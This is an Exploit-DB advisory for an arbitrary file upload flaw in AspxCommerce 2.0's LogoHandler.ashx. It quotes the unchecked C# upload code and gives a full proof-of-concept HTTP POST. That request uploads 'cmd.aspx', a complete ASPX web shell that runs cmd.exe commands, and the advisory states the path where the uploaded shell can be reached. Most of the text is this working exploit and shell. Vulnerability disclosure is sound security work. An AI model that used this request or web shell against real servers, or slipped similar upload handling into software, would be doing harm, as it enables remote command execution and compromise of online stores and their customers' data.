Exploit-DB #28393
Description: AspxCommerce 2.0 - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2013-09-19
Author: SANTHO

Exploit:
# Exploit Title: AspxCommerce v2.0 - Arbitrary File Upload Vulnerability
# Exploit Author: SANTHO
# Vendor Homepage: http://www.aspxcommerce.com/
# Version: Version 2.0 and below

Introduction:
~~~~~~~~~~~~~
AspxCommerce is a complete e-Commerce solution for setting up a fully
functional online store in minutes. It's fully customizable with rich set
of features.
You can customize the complete front end, change the look and feel, create
categories and subcategories, add and modify products, accept payments
through credit cards and facilitates a lot of other features.

Exploitation Details:
~~~~~~~~~~~~~~~~~~~~~
The application doesn't sanitize file extension or content in the Logo
Editing module. The vulnerability allows a remote attacker to upload files
via POST method with multiple extensions and access them remotely.

Vulnerable Module : LogoHandler.ashx

Vulnerable Code :
        string strFileName =
Path.GetFileName(context.Request.Files[0].FileName);
        string strExtension =
Path.GetExtension(context.Request.Files[0].FileName).ToLower();
        strFileName = strFileName.Substring(0, strFileName.Length -
strExtension.Length);
        strFileName = strFileName + '_' + rnd.Next(111111,
999999).ToString() + strExtension;
        int strSize = HttpContext.Current.Request.Files[0].ContentLength;
        string strBaseLocation =
HttpContext.Current.Server.MapPath("~/Modules/Logo/image/");
        if (!Directory.Exists(strBaseLocation))
        {
            Directory.CreateDirectory(strBaseLocation);
        }
        string strSaveLocation = strBaseLocation + strFileName;
        HttpContext.Current.Request.Files[0].SaveAs(strSaveLocation);
        retMsg = "Modules/Logo/image/" + strFileName;


Proof of Concept:
~~~~~~~~~~~~~~~~~

POST /Modules/Logo/LogoHandler.ashx HTTP/1.1
Host: aspxcommerce.localhost
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101
Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://aspxcommerce.localhost/Sagin/HandleModuleControls.aspx?uid=342&pid=1
Cookie: nessus-session=false; VisitCount=10; OriginalURL=
http://aspxcommerce.localhost/; ASP.NET_SessionId=ks51au3fwkgnmtebeznhl245;
__zlcid=%7B%22mID%22%3A%22L0dAifDhLZG23y%22%2C%22sid%22%3A%22[PII_REDACTED]74.49Hg448a%22%7D;
OriginalReferrer=http://aspxcommerce.localhost/;
SageUserRolesCookie=SageUserRolesCookie=Site
Admin&SageUserRolesProtected=910f0c31-e1dd-42d2-988b-545fe8621544;
SageFrame.AUTH__1=4374B9AB7C8ACCE26B3DF7734F2DEA168E06E27D8852C0346F86CDB566D2B9D22A256A9C56F561DCFF57A79F473E37DAF19D7E8AFC32D97DE3CAAA0769B8D3FDC604FDCF6768838E3C30E0E9C84974B0373627A00D793AA792590BAB93CF6EF8105E81E156A0DEB1E0910C1BC1583AC69F3FDFEC
Connection: keep-alive
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED]7916
Content-Length: 1789

----------------------------[PII_REDACTED]7916
Content-Disposition: form-data; name="myfile[]"; filename="cmd.aspx"
Content-Type: application/octet-stream

<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<script runat="server">

Sub RunCmd(Src As Object, E As EventArgs)
  Dim myProcess As New Process()
  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
  myProcessStartInfo.UseShellExecute = false
  myProcessStartInfo.RedirectStandardOutput = true
  myProcess.StartInfo = myProcessStartInfo
  myProcessStartInfo.Arguments=xcmd.text
  myProcess.Start()

  Dim myStreamReader As StreamReader = myProcess.StandardOutput
  Dim myString As String = myStreamReader.Readtoend()
  myProcess.Close()
  mystring=replace(mystring,"<","<")
  mystring=replace(mystring,">",">")
  result.text= vbcrlf & "<pre>" & mystring & "</pre>"
End Sub

</script>

<html>
<body>
<form runat="server">
<p><asp:Label id="L_p" runat="server"
width="80px">Program</asp:Label>
<asp:TextBox id="xpath" runat="server"
Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>
<p><asp:Label id="L_a" runat="server"
width="80px">Arguments</asp:Label>
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c
net user</asp:TextBox>
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px"
Text="Run"></asp:Button>
<p><asp:Label id="result" runat="server"></asp:Label>
</form>
</body>
</html>
----------------------------[PII_REDACTED]7916--

Uploaded Shell's Access Path :
http://aspxcommerce.localhost/Modules/Logo/image/cmd_134724.aspx





-- 
SANTHO
twitter : @s4n70 <https://twitter.com/s4n7h0>